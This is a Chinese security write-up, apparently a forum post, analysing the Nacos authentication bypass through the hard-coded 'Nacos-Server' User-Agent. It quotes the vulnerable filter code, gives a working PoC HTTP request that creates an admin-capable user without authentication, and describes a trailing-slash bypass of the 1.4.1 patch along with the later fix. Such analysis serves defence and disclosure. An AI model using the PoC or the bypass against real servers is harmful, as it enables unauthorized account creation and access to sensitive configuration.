本文首发于奇安信攻防社区:https://forum.butian.net/share/573

漏洞背景

阿里巴巴在2018年7月份发布Nacos, Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。简单来说,Nacos就是一个类似于Zookeeper的配置中心。

该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server”,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。

漏洞详情

漏洞出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter函数,如果useragent等于Constants.NACOS_SERVER_HEADER这个常量,那么就进入下一个filter,不在进行认证校验。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {

if (!authConfigs.isAuthEnabled()) {
chain.doFilter(request, response);
return;
}

HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;

String userAgent = WebUtils.getUserAgent(req);

if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
chain.doFilter(request, response);
return;
}

try {

Method method = methodsCache.getMethod(req);

if (method == null) {
chain.doFilter(request, response);
return;
}

if (method.isAnnotationPresent(Secured.class) && authConfigs.isAuthEnabled()) {

if (Loggers.AUTH.isDebugEnabled()) {
Loggers.AUTH.debug("auth start, request: {} {}", req.getMethod(), req.getRequestURI());
}

Secured secured = method.getAnnotation(Secured.class);
String action = secured.action().toString();
String resource = secured.resource();

if (StringUtils.isBlank(resource)) {
ResourceParser parser = secured.parser().newInstance();
resource = parser.parseName(req);
}

if (StringUtils.isBlank(resource)) {
// deny if we don't find any resource:
throw new AccessException("resource name invalid!");
}

authManager.auth(new Permission(resource, action), authManager.login(req));

}
chain.doFilter(request, response);
} catch (AccessException e) {
if (Loggers.AUTH.isDebugEnabled()) {
Loggers.AUTH.debug("access denied, request: {} {}, reason: {}", req.getMethod(), req.getRequestURI(),
e.getErrMsg());
}
resp.sendError(HttpServletResponse.SC_FORBIDDEN, e.getErrMsg());
return;
} catch (IllegalArgumentException e) {
resp.sendError(HttpServletResponse.SC_BAD_REQUEST, ExceptionUtil.getAllExceptionMsg(e));
return;
} catch (Exception e) {
resp.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Server failed," + e.getMessage());
return;
}
}

绕过认证之后就可以进行很多危险的操作,例如com.alibaba.nacos.console.controller.UserController中的操作。

1
2
3
4
5
6
7
8
9
10
11
12
@Secured(resource = NacosAuthConfig.CONSOLE_RESOURCE_NAME_PREFIX + "users", action = ActionTypes.WRITE)
@PostMapping
public Object createUser(@RequestParam String username, @RequestParam String password) {

User user = userDetailsService.getUserFromDatabase(username);
if (user != null) {
throw new IllegalArgumentException("user '" + username + "' already exist!");
}
userDetailsService.createUser(username, PasswordEncoderUtil.encode(password));
return RestResultUtils.success("create user ok!");
}

这个controller中包含了创建用户、删除用户等行为

如下poc即可创建一个新用户

1
2
3
4
5
6
POST /nacos/v1/auth/users?username=123&password=123 HTTP/1.1
User-Agent: Nacos-Server
Host: 127.0.0.1:8848
Accept: */*


补丁修复

在1.4.1版本中,增加了一段修复代码,第一个if中,为原本的逻辑,也是默认情况下的逻辑,依然是判断User-Agent头中是否是以Nacos-server开头,,第二个if中为新增逻辑,从用户的请求中获取一个键值对,判断与配置中的键值对是否相同,如果不相同则不会进入chain.doFilter

补丁绕过

在补丁的第二个if中,如果用户开启了这个安全配置,且攻击者匹配失败,那么不会进入chain.doFilter,而是继续往之后的流程走,而在这段代码的下方,是这段代码

1
2
3
4
5
6
7
8
9
try {

Method method = methodsCache.getMethod(req);

if (method == null) {
chain.doFilter(request, response);
return;
}

如果能使getMethod方法返回null,那么认证就会被绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Method getMethod(HttpServletRequest request) {
String path = getPath(request);
if (path == null) {
return null;
}
String httpMethod = request.getMethod();
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}
List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
if (CollectionUtils.isEmpty(matchedInfo)) {
return null;
}

从代码来看,有多个返回null的机会,先看第一个getPath函数

1
2
3
4
5
6
7
8
9
private String getPath(HttpServletRequest request) {
String path = null;
try {
path = new URI(request.getRequestURI()).getPath();
} catch (URISyntaxException e) {
LOGGER.error("parse request to path error", e);
}
return path;
}

这个是我们的请求路径,不可能为null,看第二部分

1
2
3
4
5
String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, "");
List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
if (CollectionUtils.isEmpty(requestMappingInfos)) {
return null;
}

这个urllookup存放了所有的api

这里的绕过用到了一个小trick,一个普通的请求

1
http://127.0.0.1/user/login?username=1&password=2

通过new URI(request.getRequestURI()).getPath();处理后,得到的path是/user/login

但是如果请求长这个样子

1
http://127.0.0.1/user/login/?username=1&password=2

那么得到的path会是/user/login/

而这样子的path,在urlkey中会get不到数据,从而导致了绕过,并且在后续的filter处理中这个多出来的/并不会影响路由结果。

绕过补丁

官方在这个commit中修复了这此绕过https://github.com/alibaba/nacos/commit/2cc0be6ae1cee1f2bcd2b19886380a15004eae47#diff-d5e3e36338473d502083b47c9a5d3e162203eb17eea81e406bfa2e046ff30c7f

在urllookup中存放URL路径时均会在最后增加一个/,导致之前的绕过失效。